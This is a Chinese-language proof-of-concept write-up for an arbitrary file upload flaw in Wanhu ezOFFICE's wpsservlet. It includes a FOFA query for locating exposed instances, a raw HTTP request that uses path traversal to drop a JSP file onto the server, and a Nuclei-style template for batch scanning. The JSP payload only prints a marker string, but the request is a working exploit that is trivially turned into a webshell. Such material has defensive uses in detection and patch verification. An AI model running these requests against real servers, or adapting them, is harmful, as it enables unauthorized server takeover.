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一：漏洞描述
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
二：漏洞影响版本
万户ezoffice
三：网络空间测绘查询
fofa：
app="万户网络-ezOFFICE"
四：漏洞复现
POC:
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
Content-Length: 200
--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="check.jsp"
<% out.print("This website has a vulnerability!!!");%>
--55aeb894de1521afe560c924fad7c6fb--
访问/defaultroot/platform/portal/layout/check.jsp
五：批量检测
id: wanhu-ezoffice-wpsservlet-upload
info:
name: wanhu-ezoffice-wpsservlet-upload
author: 芝士土拨鼠
severity: high
description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
requests:
- raw:
- |-
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: {
{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
Content-Length: 200
--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="check.jsp"
<% out.print("This website has a vulnerability!!!");%>
--55aeb894de1521afe560c924fad7c6fb--
- |
GET /defaultroot/platform/portal/layout/check.jsp HTTP/1.1
Host: {
{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'vulnerability'
- type: status
status:
- 200
